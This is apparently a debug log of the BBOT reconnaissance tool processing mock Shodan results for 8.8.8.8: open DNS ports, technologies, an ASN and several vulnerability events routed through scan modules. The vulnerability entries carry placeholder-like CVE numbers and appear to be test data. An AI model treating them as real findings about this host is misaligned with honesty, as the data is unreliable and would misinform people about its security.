Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,409 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target -2026-03-02 09:02:04,409 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,409 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:02:04,410 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,410 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:02:04,410 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,411 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:02:04,411 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,411 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:02:04,412 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:02:04,412 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,412 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:02:04,412 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,413 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:02:04,413 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:02:04,413 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,413 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:02:04,414 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,414 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,414 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,415 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:02:04,415 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:02:04,415 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target -2026-03-02 09:02:04,415 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,416 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) because precheck succeeded -2026-03-02 09:02:04,416 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:02:04,416 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,416 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,417 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:02:04,417 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:02:04,417 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:02:04,417 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,418 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,418 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) in-scope because its main host matches the scan target -2026-03-02 09:02:04,418 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,419 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:02:04,419 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:02:04,419 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:02:04,419 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:02:04,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:02:04,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,420 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,420 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:02:04,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:02:04,421 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:02:04,421 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:02:04,421 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) because precheck succeeded -2026-03-02 09:02:04,422 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,422 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,422 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,423 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,423 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,423 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:02:04,423 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:02:04,424 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,424 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target -2026-03-02 09:02:04,424 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,425 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded -2026-03-02 09:02:04,425 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:02:04,425 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:02:04,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check -2026-03-02 09:02:04,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:02:04,426 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,427 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,427 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) in-scope because its main host matches the scan target -2026-03-02 09:02:04,428 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:02:04,428 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) because precheck succeeded -2026-03-02 09:02:04,428 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:02:04,428 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:02:04,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check -2026-03-02 09:02:04,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) -2026-03-02 09:02:04,429 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check -2026-03-02 09:02:04,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:02:04,430 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:02:04,431 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:02:04,431 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,431 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) -2026-03-02 09:02:04,432 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,432 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:02:04,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:02:04,433 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) -2026-03-02 09:02:04,433 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target -2026-03-02 09:02:04,433 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,433 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded -2026-03-02 09:02:04,434 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check -2026-03-02 09:02:04,434 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:02:04,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,435 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,435 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,435 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,436 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:02:04,436 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) because precheck succeeded -2026-03-02 09:02:04,436 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check -2026-03-02 09:02:04,436 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) -2026-03-02 09:02:04,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because event was already emitted by its module -2026-03-02 09:02:04,437 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:02:04,437 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,437 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,438 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target -2026-03-02 09:02:04,438 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) -2026-03-02 09:02:04,438 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) because precheck succeeded -2026-03-02 09:02:04,439 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,439 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,439 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,439 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:02:04,440 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,440 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:02:04,440 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded -2026-03-02 09:02:04,440 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,441 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:02:04,441 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,441 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:02:04,441 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) because precheck succeeded -2026-03-02 09:02:04,505 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) from shodan_enterprise -2026-03-02 09:02:04,506 